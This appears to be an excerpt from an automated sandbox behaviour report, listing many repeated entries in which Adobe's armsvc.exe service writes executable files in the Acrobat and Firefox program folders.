Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
